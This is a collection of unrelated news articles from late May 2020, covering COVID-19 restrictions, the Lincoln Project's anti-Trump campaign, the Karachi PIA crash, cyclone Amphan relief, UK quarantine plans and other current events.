According to Bayramli, last week the Operational Headquarters continued anti-pandemic measures, discussions were held and decisions made.

Today, 106 people tested positive for coronavirus. In total, 3,855 cases of infection have been recorded in the country as of now, 2,399 people recovered and discharged from the hospital, reminded the chairman.
The dilemma for President Trump-loathing Republicans: Do you vote for a Republican who supports him?

Its a question that hit home to Never Trumpers in California this week when Rep. Mike Garcia was sworn in to the House. Garcia is the Republican who won a special election in Southern California to replace scandal-ridden Democratic Rep. Katie Hill, who quit last year. His victory was a big deal because Garcia is the first Republican to flip a House seat in California since 1998, and the president endorsed him again and again on Twitter  putting him firmly on Team Trump.

Now the dilemma: Garcia has to run again in November for a full term. Republicans would love to reclaim the House. That would be a bit easier to do if Garcia wins. So if youre a Republican operative, its a no-brainer, right? Back Garcia.

Except.

Veteran California GOP consultant Mike Madrid loathes Trump so deeply that he wont back any Republican candidate who supports him. Trying to push Trump out of office is Madrids job as one of the advisers to the Lincoln Project, a super PAC led by GOP expats who are raising millions to flip the White House and oust any Republicans, especially senators, who support Trump.

Rob Stutzman, another Trump-averse top California GOP operative, disagrees. Stutzman, who is not in the Lincoln Project, says he would vote for just about any non-Trump Republican short of Rep. Devin Nunes  including Garcia.

Otherwise, Stutzman told The Chronicles Its All Political podcast, what we get left with when Trump is gone are a bunch of people that are just his little Mini-Mes, because every other reasonable Republican or legacy Republican essentially has either quit or been pushed out of office.

Madrid wasnt deterred by Garcias decisive victory. Dont look at a low-turnout election in the Los Angeles suburbs for a sign of Trumps strength, Madrid said. Instead, look at whats going on in Arizona  a state that has backed a Democrat for president just once in 70 years.

Joe Biden is on track to be the only Democrat the state has supported other than Bill Clinton in 1996, according to an OH Predictive Insights poll this week of likely Arizona voters. It showed Trump trailing the former vice president by seven points. More bad news for the GOP from that poll: Republican Sen. Martha McSally is losing to Democrat Mark Kelly, 51% to 38%.

And Arizona stands to be a huge deal in November: It could be the state that decides not only who wins the White House, but which party will control the Senate.

One of the reasons Trump is trailing in a state that he won four years ago is that white voters with a college degree are turning on him, according to the survey. Four years ago, Trump beat Hillary Clinton by six points in Arizona among those voters, according to exit polls. Now, he trails Biden by 11 points among those same Arizonans.

The Lincoln Project is focusing on those voters. Its trying to convince college-educated suburban Republicans that Trump not only has been a failure, but that he doesnt represent conservative values.

This month, the super PAC dropped its latest video ad, a takeoff on Ronald Reagans iconic 1984 re-election ad, Morning in America. The Lincolners called theirs Mourning in America, and filled it with images of mask-wearing people to show how Trump has botched the federal response to the coronavirus pandemic.

Theres mourning in America, the ads narrator says. And under the leadership of Donald Trump, our country is weaker and sicker and poorer. And now Americans are asking: If we have another four years like this, will there even be an America?

The ad struck a nerve. Not only has it been seen 20 million times across all platforms, according to the group  it also got under Trumps skin. The president derided the Lincoln Project in a late-night Twitter fusillade as RINOs (Republicans in Name Only) and losers who are embittered because he didnt hire them to work on his campaign.

Donations poured in, too  more than $2 million in the first week after the ads debut, almost as much as the super PAC raised through March, according to federal campaign finance reports.

This week, the Lincoln Project is airing the ad in Philadelphia, Lansing, Mich., and Sioux City, Iowa, three key markets in battleground states. The week before it ran in TV spots in Wisconsin, Ohio and Florida.

Next to Trump, the groups top target has been McSally, a former two-term House member whom Republican Gov. Doug Ducey appointed last year to fill the seat that had been held by the late Sen. John McCain. The Lincoln Project has pounded McSally in ads as a Trump hack whom Arizona rejected in 2018 when she lost to Democrat Kyrsten Sinema for the seat vacated by GOP Sen. Jeff Flake.

Arizona rejected you in 2018 and you know why: You were too close to Donald Trump, the ad says. Now youve gone full Trump again.

The ad  and, of course, the $31 million that Kellys campaign has raised  have dragged down McSallys poll numbers. Soon, the project will be going hard after Maine Sen. Susan Collins, another Republican facing a tough election battle.

Madrid is unapologetic about taking on GOP senators. He compares Trumpism to a cancer thats metastasized, and it needs to be cut out. And so unless youre actively working against it, its going to continue to grow.

Stutzman agreed that Trumpism is plaguing the GOP, but doesnt want Republican incumbents replaced by Democrats. And he disagrees with deriding senators like McSally as hacks.

Who is that supposed to be persuading? Stutzman said. If we want to save the party and turn this around, we have to start persuading the 95% of Republicans who say that they support the president. And that takes a whole lot more nuance and intentionality than just beating the living crap out of these sitting senators, who essentially are doing what their base voters would want them to do.

Madrid said a positive, uplifting message might have swayed some of Trumps supporters in another year. But Trump didnt get into office using an uplifting message, he said. Any campaign that doesnt punch just as hard as he does is guilty of political malpractice, the consultant said.

That is uncomfortable, Madrid said. But it is the only tactic that has worked. The idea that somehow we can take a higher road while this guy goes immediately to the gutter? People are following him.

Joe Garofoli is The San Francisco Chronicles senior political writer. Email: jgarofoli@sfchronicle.com Twitter: @joegarofoli
She's one of the breakout stars from this year's season of Married At First Sight.

And on Friday, Hayley Vernon revealed on Instagram how she got into a fight with a stranger over COVID-19 restrictions, while working out in Melbourne that day.

Dressed in activewear, the 32-year-old told fans how she was blocked from running up the 1000 Steps at the Kokoda Memorial Walk.

'Are you kidding me?' Married At First Sight's Hayley Vernon, 32, revealed on Instagram Stories on Friday, how she got into a FIGHT with a stranger over COVID-19 restrictions... while working out at a Melbourne park

While still in the park, Hayley took to the social media site to vent her frustrations.

The reality star had taken a short break from isolation to work on her fitness, looking sensational in a grey zip-up jacket, and drawing attention to a radiant complexion.

'Alright, so I've literally just had a fight with some random because I'm here at the 1000 Stairs (Steps), timing myself, just getting the heart rate up,' she began.

'I got to a point on the stairs and there was this couple with their arms out blocking it, and I said, "What are you doing?"

Encounter: The reality star recalled how the stranger 'blocked' her from running up the 1000 Steps, telling her to only do so once the 'second wave' of restrictions have been eased

'And they're like, "Did you read the sign at the bottom that says no passing during COVID-19?"'

The fitness enthusiast went on to recall how the stranger told her to 'read the sign' and wait for the second wave' (of restrictions to be eased).

'Are you kidding me?' Hayley continued in the Instagram clip, adding that 'common sense should prevail' when working out amid times of uncertainty.

Hayley said the stranger threatened to 'dob' her in, by reporting her to Parks Victoria.

Clash: Hayley said the stranger threatened to 'dob' her in, by reporting her to Parks Victoria

She responded on camera by letting out a few expletives and making a rude finger gesture.

It is understood locals are still able to access the park, as long as they go in a singular direction and maintain 1.5 metre social distancing.

The Melbourne-based star became a household name after debuting on the 2020 season of Nine's social experiment, Married At First Sight.

She had a tumultuous relationship with 'husband' David Cannon, who infamously used her toothbrush to clean a dirty toilet.

Hayley has since become a social media influencer with a top talent agency.
The Beatles were popular during trying times. The 1960s were a turbulent time  sometime for good  in the United States, France, and other parts of the world. During all of that, they made a political anthem: Revolution.

Revolution is a song that is ambivalent about grand societal change. At the same time, the Beatles provide their fans with hope, saying everything will be alright. However, John Lennon wasnt alright with one of the tracks lyrics.

John Lennon with a guitar | Max Scheler  K & K/Redferns

A political call-out in a Beatles song

Some bands use their music to call out political figures all the time. The Beatles werent that type of band. However, they called out some activists in the lyrics of Revolution.

Chairman Mao Zedong was the Chairman of the Communist Party of China at the time the Beatles released the song. He remains a polarizing figure. According to the Telegraph, some people laud him for raising living standards in China. Others decry him as, according to the BBC, his administration led to millions of deaths.

The Beatles playing Revolution

RELATED: Beatles: The Subtle Message John Lennon Put in One of His Best Songs

In the lyrics of Revolution, the Beatles decry aspiring revolutionaries who made use of Maos image in an attempt to further their goals in the line But if you go carrying pictures of Chairman Mao/You aint going to make it with anyone. This line could be seen as an implicit condemnation of Mao. However, according to The Beatles Book, John said he wished he never included the lyric. In addition, he later expressed positive views of Mao and elaborated on the songs lyrics.

John Lennon explains the songs lyrics

According to Rolling Stone, John said The idea was dont aggravate the pig by waving the thing that aggravates  by waving the Red flag in his face. You know, I really thought that love would save us all. But now Im wearing a Chairman Mao badge. Im just beginning to think hes doing a good job. I would never know until I went to China.

An illustration of Chairman Mao at his desk | Bettmann / Contributor

RELATED: John Lennon Said the Beatles Didnt Top His Favorite Rock n Roll Song

Further elaborating on the lyrics, John said Im not going to be like that, I was just always interested enough to sing about [Mao]. I just wondered what the kids who were actually Maoists were doing. I wondered what their motive was and what was really going on. I thought if they wanted revolution, if they really want to be subtle, whats the point of saying Im a Maoist and why dont you shoot me down? I thought that wasnt a very clever way of getting what they wanted.

Johns comments can be unsettling for some. Many people see Chairman Mao as one of the greatest monsters in human history and while John was far-left, it might surprise some fans to know he once endorsed Mao. Its also interesting to see how the lyric of the song wasnt designed as a take-down of the chairman  even though it might appear that way.

Also see: Beatles: Why Mick Jagger Nearly Felt Sick When He Heard Love Me Do
At least one person has survived after a Pakistani Airlines passenger jet crashed near the Karachi Airport Friday.

All 91 passengers and seven crew members on board were feared dead, a PIA official earlier told ABC News. But at a press conference Arshad Malik, the PIA Chairman, said at a press conference on Friday evening that one passenger survived the crash, and they are checking local hospitals for further survivors.

The Airbus 320 was traveling from Lahore to Karachi when it crashed, going down in a densely populated residential neighborhood 2 kilometers from the airport. The authorities expect the full circumstances surrounding the crash to become clear once black box data has been evaluated, Malik said. The pilot of the downed plane had called the control tower to report a technical issue and that he was going to attempt another landing, he added.

PHOTO: Rescue workers spray water on the part of a Pakistan International Airlines aircraft after it crashed at a residential area in Karachi on May 22, 2020. (Asif Hassan/AFP via Getty Images)

A military official told ABC News that their teams are on ground searching for bodies from the plane and the houses. The official said it's too early to know how many people were in their homes at the time of the crash.

As well as the search and rescue teams, Major General Babar Iftikhar, the spokesperson for the Pakistan Armed Forces, said that military helicopters had flown to the scene "for damage assessment and rescue efforts."

PHOTO: An ambulance arrives near the scene of a passenger plane crash of Pakistan International Airlines in Karachi, Pakistan, May 22, 2020. (REHAN KHAN/EPA via Shutterstock)

In a video shot by an eyewitness, a huge cloud of black smoke can be seen rising from the crash site from a Karachi suburb.

Imran Khan, the prime minister of Pakistan, promised a full investigation into the crash, which came just days after the country resumed commercial domestic flights.

"Shocked & saddened by the PIA crash," he said in a statement. "Am in touch with PIA CEO Arshad Malik, who has left for Karachi & with the rescue & relief teams on ground as this is the priority right now. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased."

At least 1 survivor after passenger plane crashes in Pakistan originally appeared on abcnews.go.com
The impact of three separate crises affecting swathes of east Africa at the same time has left hundreds of thousands of people at risk of hunger and sickness, aid workers operating in the region have warned.

Like much of the world, countries in the Horn of Africa and other eastern states have been forced to introduce lockdown measures to limit the spread of the Covid-19 coronavirus.

However the virus has arrived in the region at the same time as flooding struck states including Kenya, Somalia and Rwanda - displacing roughly half a million people while causing almost 300 confirmed deaths.

And the risk of both Covid-19 and waterborne disease affecting exposed people has been further compounded by one of the worst locust infestations for decades - with hundreds of billions of the insects ravaging crops, affecting both food supplies and sources of income.

Dr Simon Missiri, who oversees the International Federation of Red Cross and Red Crescent Societies (IFRC) response in Africa, said those on the ground were facing an unusually complex humanitarian situation

The ongoing flooding crisis is exacerbating other threats caused by Covid-19 and the invasion of locusts. Travel and movement restrictions meant to slow down the spread of Covid-19 are hampering efforts to combat swarms of locusts that are ravaging crops. Flooding is also a threat amplifier with regards to the spread of Covid-19 as it makes it hard to implement preventive measures.

The organisation has since deployed a 5.9m response in Ethiopia, Kenya, Somalia, South Sudan, Tanzania, Rwanda and Uganda - including the handing out of food items and other essentials. Dr Simon added: We are worried that the number of people who are hungry and sick will increase in the coming weeks as flooding and Covid-19 continue to severely affect the coping capacity of many families in the region.

Harsh weather conditions are having a multiplier effect on an already difficult situation and this could potentially lead to worrying levels of food insecurity in the region.

The spread of the virus on the continent appears to have been diminished compared to that experienced in the rest of the world - with many African nations quick to deploy lockdown measures before any confirmed cases were announced. Concern also remains that some nations do not have adequate testing facilities to truly record the scale of the outbreak in their regions.

Despite initially slow spread the World Health Organization announced on Friday the continent had recorded more than 100,000 cases - while still reporting fewer deaths than Europe when the continent hit the same marker.

"For now Covid-19 has made a soft landfall in Africa, and the continent has been spared the high numbers of deaths which have devastated other regions of the world," said Dr. Matshidiso Moeti, WHO regional director for Africa.

Dr. Mike Ryan, WHO executive director of Health Emergencies Programme, added: "On the one hand, good news -- the disease hasn't taken off in a very fast trajectory, but there's a concern some countries are accelerating in the number of cases."

Concerns remain that even without the compounded issues of plagues and floods in the east of the continent, some African nations with diminished infrastructure may struggle to enforce lockdown measures.

Meanwhile more than half of respondents said they would also run out of money if they were forced to stay at home to control the spread of Covid-19.
The central government stands with West Bengal in these testing times and will provide immediate advance assurance of Rs 1,000 crore, Prime Minister Narendra Modi said on Friday as he wrapped up a visit to the state that had been battered by cyclone Amphan this week. This is PM Modis first outstation visit in nearly three months.

PM Modi was received at the airport by governor Jagdeep Dhankhar and chief minister Mamata Banerjee - who accompanied him on the aerial survey of some of the worst-affected parts of the state before landing near a school in Basirhat, 50 km from Kolkata airport.

PM Modi held a review meeting at the school where Mamata Banerjee pitched for greater central assistance to help people rebuild their lives. Banerjee said at least 80 people had been killed in Bengal due to the cyclone, many due to electrocution.

Click here for Cyclone Amphan LIVE updates

In a brief statement to the media after the meeting, PM Modi said the Centre and state are working together to provide all possible help to people.

Watch l Fighting Covid & cyclone: PM Modi announces interim relief for West Bengal

All aspects relating to rehabilitation, reconstruction will be addressed. We all want West Bengal to move ahead. The Centre will always stand with West Bengal in these testing times, PM Modi said.

PM Modi didnt get into Mamata Banerjees demand to declare the cyclone that had wreaked havoc in the state as a national disaster.

In government rules, there is no provision for such a notification but political parties in states hit by disasters routinely make this demand to underscore that the Centre should loosen the purse strings and give more assistance than would be permissible under disaster management rules.

Mamata Banerjee has complained for a few days that the Centre wasnt moving enough to help Bengal. We havent received any money to fight the Covid-19 pandemic till date, the chief minister told reporters after cyclone Amphan left behind a trail of destruction and damage.

Help should arrive fast and not after 500 days, she told reporters at a press conference on Thursday. It was at the same event that she had appealed to PM Modi to visit the state to see the damage for himself.

PM Modis public announcement of Rs 1,000 crore advance assurance was designed to address this complaint.

PM Modi said Rs 2 lakh would be given to the next of kin of persons who died in the cyclone and Rs 50,000 each to persons seriously injured.
Police say Alyza Alder flew to Honolulu on May 6 and started posting photos on social media just two days later in violation of Hawaii's 14-day self-quarantine order

An 18-year-old Arizona woman has been arrested in Hawaii for breaking the state's strict self-quarantine rules after she posted photos on social media of herself at the beach.

Police say Alyza Alder flew to Honolulu on May 6 and started posting photos on Instagram just two days later.

Hawaii has strict orders in place requiring all visitors to self-quarantine for 14 days to help prevent coronavirus from spreading.

Under the state's order, Alder should have been in self-quarantine until at least Wednesday.

Police say Alder was posting photos of herself at beaches in Laie and Hauula between May 8 and Wednesday.

Photos from her social media accounts show her posing at beaches on May 9 and May 14.

In one photo caption, Alder wrote that she had just moved to her dream location in Oahu and was 'loving every minute of it'.

During the time she should have been quarantining, authorities say she had also been working at a restaurant in Laie.

Alder was arrested at that restaurant on Wednesday afternoon.

She has been charged with violating the state's quarantine rule and unsworn falsification to authority.

Police say Alder was posting photos of herself at beaches in Laie and Hauula between May 8 and Wednesday. This photo from her social media account was posted on May 9. She wrote in the caption that she had just moved to her dream location in Oahu and was 'loving every minute of it'

Photos from her social media accounts show her posing at beaches on May 9 and May 14. The above photo was posted by Alder on May 14

Alder's bail has been set at $2,000.

Police say someone alerted them to the fact that Alder was violating the state's quarantine order.

Hawaii currently has 647 infections in the state and 17 deaths.

While the state's self-quarantine orders remain unchanged, officials have lifted some measures by allowing shopping malls, car washes, pet grooming and in person retail to resume. Restaurants and bars remain closed and beaches are only open for exercise.

In response to Alder's arrest, State Attorney General Clare Connors warned that the measures in place were there to protect everyone's health.

'We are asking everyone  returning residents and visitors  to abide by our state's 14-day self-quarantine order,' she said.

'The 14-day self-quarantine rules protect everyone's health and safety.

'As we've said before, if you come to Hawaii with the expectation that you can ignore the self-quarantine order, you very likely will be reported, arrested and end up in jail facing hefty fines.

'All of us must do our part to protect ourselves, our families, friends and guests.'


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Muslims, critics decry double standard as there were fewer warnings against gathering for events such as VE Day parties.

As Eid approaches, Muslims in the United Kingdom are being bombarded with messages to celebrate at home and observe social distancing measures to avoid spreading the novel coronavirus.

The stream of advice from government, celebrities, and local health and law enforcement officials has been described by some as patronising, as many noticed a double standard.

Social media users expressed their disappointment, saying that there were fewer warnings regarding other recent celebrations such as the VE Day anniversary.

Some pointed to a BBC article highlighting the need to stay at home.

So the BBC has now interviewed Muslim celebrities urging us to stay home for Eid yet I still have not seen any official condemnation of the busy beaches this week or the celebration of VE Day. Why are we being treated differently? tweeted Hasan Patel, a young political activist from east London.

Twitter user @chibiandchill wrote: I dont see any point or purpose of this article when Muslims have ALREADY stopped communal activities. Makes it seem Muslims are going to risk it for Eid. I dont recall this type of ** for VE day oh wait papers and MPs were cheering on the conga and street party posters.

So many information campaigns urging Muslims to stay home during Eid. Latest is patronising video by Muslims who have no influence over the community. This would be easier to swallow if similar campaigns were directed at others who are currently breaching social distancing laws  Roshan M Salih (@RmSalih) May 22, 2020

Others noticed a post on Facebook that was sponsored by the UK government with the text: Coronavirus. Celebrate Eid at home and control the virus, questioning whether it had invested in similar campaigns for VE Day.

The BBC urging Muslims not to gather for Eid this weekend after sending their reporters to the VE street parties.  Freddie (@FreddieBailey96) May 19, 2020

There are an estimated 3.4 million Muslims in the UK.

Members of the religious minority have been lauded during the pandemic for their charity effortsand as many work on the front lines of the coronavirus crisis.

On Friday, the National Health Service (NHS) sent out SMS text messages to Britons reading: Eid Mubarak to all our patients! If you are celebrating this weekend, remember to stay home and follow social distancing. This will stop the spread of coronavirus and protect the most vulnerable.

The first four doctors to die of coronavirus at the beginning of the epidemic  Alfa Saadu; Amged el-Hawrani; Adil El Tayar and Habib Zaidi  were all Muslim and had ancestry in regions including Africa, Asia and the Middle East.

Muslims have stopped worshipping in congregations, and sacrificed gatherings and social events during Ramadan, a month that usually brings people together.

Mosques have closed, sermons have gone online and people have either been observing the month of fasting individually or only with the close family members they live with.

We will stay at home on Eid. But the British media will still vilify us Muslims. Publishing articles inferring that we are or likely to go against the advice of health officials. They use images of Muslims whilst writing articles on Covid19. Meanwhile 1000s go to the beach. pic.twitter.com/PKrMJtLMhg  Bangali (@GrumpyBangali) May 20, 2020

Meanwhile, the UK is currently enjoying warmer weather and is entering a bank holiday weekend, which has seen thousands abandon social distancing measures and flock to the countrys many beaches.

Some said that there has been more messaging trying to stop people gathering for Eid, than urging people against crowding spaces and therefore risking further coronavirus outbreaks.

Twitter user @grumpybengali wrote: Like so many others, I observe social distancing. When the Govt was still dragging its feet & pursuing herd immunity. I pulled my kids out of school & go out once a week to buy groceries. My local mosques are closed. My fellow Muslims arent ignoring the advice.

We will stay at home on Eid. But the British media will still vilify us Muslims. Publishing articles inferring that we are or likely to go against the advice of health officials. They use images of Muslims whilst writing articles on Covid19. Meanwhile 1000s go to the beach .

The UK is Europes worst and the worlds second most affected country in terms of deaths from COVID-19, behind the United States.

More than 36,000 people have died from coronavirus in the UK, and at least 252,000 have been infected, according to official figures. The actual toll is widely understood to be higher.
The Royal Navy escorted a Spanish patrol boat out of British waters around Gibraltar this afternoon.

The Spanish Patrol Vessel P43 Relampago incurred into British Territorial waters.

It was very close to pleasure boats and the beaches on the East Side of the Rock.

The Royal Navy Gibraltar Squadron patrol boat had to escort the ship for more than an hour until it exited British waters.

The Spanish Patrol Vessel P43 Relampago incurred into British Territorial waters this afternoon

The P43 Relampago patrol vessel is a Meteoro Class offshore patrol vessel and is 308 feet long

The P43 Relampago patrol vessel is a Meteoro Class offshore patrol vessel and is 308 feet long.

On May 6 the Spanish vessel Infanta Cristina entered Gibraltar's territory and Britain's patrol boat HMS Sabre stopped the incursion.

HMS Sabre is one of Britain's two Fast Patrol Boats around Gibraltar alongside HMS Scimitar. It has a top speed of 32 knots.

The Royal Navy Gibraltar Squadron patrol boat had to escort the ship for over one hour until it exited British waters

Spanish military incursions into British waters have ramped up since the coronavirus crisis

In February last year a Spanish warship with its guns manned tried to order commercial vessels to leave British waters.

The warship's crew could be heard in an audio recording telling vessels anchored at the Rock to 'leave Spanish territorial waters'.

Royal Navy boats were deployed and confronted the ship, which then sailed along the Gibraltar coast 'with its weapons uncovered and manned'.

HMS Sabre is a small fast patrol boat around 52ft long and around 24 tonnes.

The Gibraltar Squadron has 21 personnel and three Pacific ridge-hulled inflatable boats, according to the Navy's website.
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Interior Secretary David Bernhardt said the department will extend the public comments period for a controversial oil and gas drilling plan in a part of New Mexico that contains a national park and Native American lands.

The Associated Press reports that the decision was motivated by the coronavirus pandemic, which hit local tribes particularly hard by the disease, and that it followed a meeting between Bernhardt and local communities, environmentalists, and archaeologists.

After spending the pandemic pushing through environmental rollbacks and slashing royalties for oil and gas companies, Secretary Bernhardt is trying to repair his image, a policy director from the Center for Western Priorities, a conservation and advocacy organization, told the AP. It shouldnt take weeks of outrage from tribal nations and members of Congress for Bernhardt to do the right thing at the eleventh hour, Jesse Prentice-Dunn added.

The Santa Fe New Mexican reports that the decision on the drilling plans, when made, could determine the future of oil and gas reserves in federal lands around the Chaco Culture National Historical Park.

The public comments period will be extended by 120 days. The delay comes a day after the Bureau of Land Management unexpectedly postponed an oil and gas lease sale that was scheduled for this week without providing an explanation.

Theyre just postponed, JulieAnn Serrano, Lease Sale Supervisor and Supervisory Land Law Examiner for the Bureau of Land Managements New Mexico State Office told Oilprice.com when asked for a reason for the postponement.

What links the two events is the fact that the lease sale, like the drilling plan for the lands around the Chaco Culture National Historical Park, has attracted criticism from environmentalist groups and other stakeholders regarding public comments. In the case of the lease sale, opponents insisted that this be suspended for the duration of the Covid-19 pandemic. In the case of the drilling plan, the criticism focused more on the inability of many Native American communities to take part in remote public comments for lack of technological capabilities.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:
It is unclear what the final guidelines will say, but public health agencies have generally advised people to avoid gatherings of more than 10 people and encouraged Americans to remain 6 feet (1.8 meters) away from others when possible.

Trump, who has been pushing for the economy to reopen even as the virus continues to spread, on Friday stressed the importance of churches in many communities and took issue with other businesses and services that have been allowed to continue to operate.

Some governors have deemed liquor stores and abortion clinics as essential but not churches, he said. Its not right. So Im correcting this injustice and calling houses of worship essential."

These are places that hold our society together and keep our people united, he said.

Churches have the potential to infect large groups of people if precautions aren't taken. A church in Northern California that defied the governors orders and held a service on Mothers Day was attended by a person who later tested positive for the coronavirus, exposing more than 180 churchgoers.
Source: Xinhua| 2020-05-23 00:33:06|Editor: huaxia

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HARARE, May 22 (Xinhua) -- Zimbabwean President Emmerson Mnangagwa on Friday expressed Zimbabwe's gratitude to the visiting team of Chinese medical experts for sharing their experience and knowledge with Zimbabwe's frontline medical staff in fighting the COVID-19 pandemic.

He extended the appreciation in a letter read out by Zimbabwean Health Minister Obadiah Moyo at a joint press conference at the conclusion of the team's two week visit to the country.

"I write to express to you, and your colleagues, my deep personal gratitude, and that of my Government and the people of Zimbabwe, for your unwavering support by sharing the expertise garnered from China's victorious battle against the COVID-19 pandemic," Mnangagwa said in the letter addressed to the leader of the Chinese medical team, Zhu Yimin.

He said Zimbabwe's medical staff had benefited immensely from the team's frontline knowledge in fighting COVID-19.

"It is my hope, as you leave us, that you carry fond memories of Zimbabwean people in your hearts and minds and that you will, forever, take pride in knowing that you have made a personal and hugely valuable contribution to ensuing that Zimbabwe, like China, is poised to emerge victorious from its battle against this deadly pandemic," Mnangagwa said.

During its visit, the 12-member team of Chinese medical experts toured four of the country's 10 provinces to share their experience with local medical staff in combating the pandemic.

These are Harare, Mashonaland East, Mashonaland Central and Mashonaland West provinces.

The team also donated medical supplies to the hospitals they visited including Marondera Provincial Hospital, Chinhoyi Provincial Hospital and Mvurwi Hospital.

The team which arrived in the country on May 11, met Mnangagwa, Vice President Kembo Mohadi, senior government officials and World Health Organization officials, among others.

The team comes from southern China's Hunan Province and is made up of experts from infectious diseases and respiratory illnesses, intensive medicine, infection control, traditional Chinese medicine as well as public health and nursing.

At the press conference, Zhu Yimin presented a report with their recommendations on fighting COVID-19 to the Zimbabwean government.

Zhu said measures taken by Zimbabwe to fight the pandemic have been effective so far, as shown by the relatively low number of COVID-19 cases that stand at 51, including 18 recoveries and four deaths since the onset of the outbreak on March 20.

He said they were encouraged to note that the Zimbabwean government greatly values the advice and proposals from the Chinese medical experts. Enditem
May 25th, 2020 is Memorial Day. This is a federal holiday. Therefore, certain institutions and services will be closed. Are banks open on Memorial Day?



Memorial Day is a Bank Holiday

Memorial Day is one of the ten dates of the year that Americans consider a bank holiday. As the name suggests, banks are typically closed on bank holidays. The Federal Reserve Bank of Chicago lists Memorial Day as a bank holiday alongside these other nine bank holidays:

New Years Day Martin Luther King Jr. Day Washington Day Independence Day Labor Day Columbus Day Veterans Day Thanksgiving Day Christmas Day

Many stores are open during bank holidays. For example, Walmart, Target, and Costco will all be open for Memorial Day 2020. However, banks and other federal businesses such as post offices, are generally closed.

Get a $10 Costco Shop Card



Most, But Not All, Banks Close for Memorial Day

Since Memorial Day is a federal holiday and also a bank holiday, its no surprise that banks will be closed for Memorial Day 2020. If you need to do in-store banking, then youll want to get that taken care of before Memorial Day. Alternatively, you can wait until Tuesday, May 26th, 2020 when banks re-open with their normal hours.

Three Banks That Might Be Open on Memorial Day

That said, Banks.org says that there are three exceptions to the rule that banks are closed on Memorial Day. PNC Bank and SunTrust Bank both have in-supermarket branches that will be open on Memorial Day. Regular banks are closed but the smaller branches inside of stores may be open. Additionally, the site says that while US Bank is probably going to be closed, some of their locations will stay open for a short half-day on Memorial Day 2020. If you absolutely need to go to the bank on Memorial Day, call these three banking options to see if one is open near you.

Credit Unions Also Close for Memorial Day

Credit unions differ from banks. Nevertheless, they do typically follow the same bank holidays. Therefore, you can expect that your local credit union will be closed on Memorial Day 2020.

For that matter, the stock market is also closed for Memorial Day. If you have to deal with financial things, dont count on doing so on Memorial Day.

Banking Services That You Can Access on Memorial Day

These days, you can often do your banking without actually going in to a physical bank. That simplifies things for people who have to deal with certain transactions on Memorial Day. Even though the bank is closed, you can still go to the ATM, for example. You can deposit or withdraw cash and complete other ATM-based activities. Similarly, online and mobile banking dont shut down for bank holidays. Therefore, you can pay bills and do other online banking on Memorial Day. Just remember that if youre transferring money, the transfer might not go through immediately during a bank holiday such as Memorial Day.

Give the gift of savings! Learn more
U.S. President Donald Trump / Reuters



The United States' insistence that South Korea shoulder a much larger share of the cost of U.S. troop presence risks hurting the alliance at a time when both sides need each other, a Korea expert said Thursday.



Victor Cha, former director for Asian affairs at the White House National Security Council, made the comment in response to the ongoing impasse in the two countries' negotiations for a defense cost-sharing deal.



"The sad part of all this is that the alliance has become consumed by this one technical issue, and it's soured South Korean views of the alliance," he said during a virtual seminar hosted by the Center for Strategic and International Studies think tank.



"It's not as well covered here in the United States, obviously. And for what? You know, for like dollars and cents, when this alliance has a deep history. And both countries need each other. They're very important partners to each other in the world," he said.



U.S. President Donald Trump has rejected South Korea's latest offer to increase its contribution by 13 percent for the hosting of 28,500 American troops in the country.



The Trump administration has instead asked for US$1.3 billion a year, an increase of nearly 50 percent.



In the absence of a new agreement, U.S. Forces Korea has placed some 4,000 South Korean employees on unpaid leave since the beginning of April.



Drawing on his experience of working in Congress, Robert King, a former special envoy for North Korea's human rights issues, weighed in that the alliance actually serves U.S. interests.



"I think most members of Congress who serve longer than most presidents tend to see the value of participation of other countries in our alliance as something that benefits the United States," King said.



"We're not doing this for the benefit of South Korea or for the benefit of Europe. We're doing these things because it's in our interest, and it's useful to get support and cooperation of other countries who share the values, the concerns, the ideas that motivate us as well." (Yonhap)


The local government has repeatedly harassed Radyo Natin Guimba (RNG) radio station reporters in Guimba for covering their response to Covid-19. The International Federation of Journalists (IFJ) and its affiliate the National Union of the Journalists of the Philippines (NUJP) urge authorities to allow journalists to report unobstructed.

On May 11 the municipal council approved a resolution allowing the mayor to file charges against RNG for breaching the Bayanihan Heal as One Act, an act legislated to give the government power to implement reforms to combat the Covid-19 pandemic. At the May 11 meeting, councillor Bonbon Dizon and the son of mayor Jose Dizon stole the press credentials of field reporter, Lina Villafor to take pictures.

According to NUJP, reports of the local government harassing reporters began in April when police threatened to charge radio staff handing out vitamins and fruit to senior citizens. This week, at an emergency meeting on May 16 at Guimbas Association of Barangay Captains, lawyer OJ Manuel Cornejo repeated the previous threat to sue RNG. On May 18, councillor Virgilio Fabro made the RNG field reporter leave the session hall, claiming they were discussing a sensitive topic. On May 19, police aggressively approached and intimidated an RNG reporter covering the distribution of palay seeds near the agriculture department.

NUJP said: All these incidents are brazen violations of the constitutionally guaranteed freedoms of the press and of expression. NUJP stands with RNG Guimba in asserting its right to unhampered coverage of relevant events of public interest in the town.

The IFJ said: During the current Covid-19 pandemic, journalists must have a safe environment to report without obstruction or legal challenges. The IFJ calls on the government to respect journalists right to report and the publics right to be informed and hold authorities accountable.
Shortly after 5pm on Friday, Priti Patel will reveal details of the UKs first mandatory quarantine order.

The home secretary will use the No 10 daily briefing to confirm that from early June  possibly as early as the first of the month  travellers arriving by air, sea or rail must self-isolate at home for 14 days.

The rule applies to returning holidaymakers as well as foreign visitors to the UK. Journeys within the Common Travel Area, covering the Republic of Ireland, the Channel Islands and the Isle of Man, will be exempt.

Essential professions, including truck drivers, government officials and medical staff travelling for work, will also escape the obligation to go home and stay there for two weeks. International transit passengers arriving at Heathrow airport are exempt.

On arrival, travellers will be required to provide the address where they will spend the ensuing two weeks. Fines of 1,000 for those who breach self-isolation have been proposed.

Ms Patel will also set out arrangements for arriving travellers with no home to go to. They will be required to remain in accommodation arranged by the government.

The World Health Organisation backs mandatory isolation of arriving travellers only in the earlier stages of an outbreak, and almost all foreign countries have lower rates of infection than the UK.

But Downing Street sees quarantine as an eye-catching and popular move.

The government says: Now that domestic transmission within the UK is coming under control, and other countries begin to lift lockdown measures, it is the right time to prepare new measures at the border.

Ministers have trailed the quarantine policy all month, with many often contradictory briefings to journalists.

Boris Johnson formally announced a version of quarantine on 10 May, initially saying it applied only to arrivals by air.

Another potential loophole emerged when No 10 briefed that the prime minister had struck a deal with President Macron for a bilateral exemption with France.

That possibility was subsequently retracted. But as heated discussions continued over a policy that will damage Britains debilitated travel industry still further, the transport secretary floated the option of air bridges.

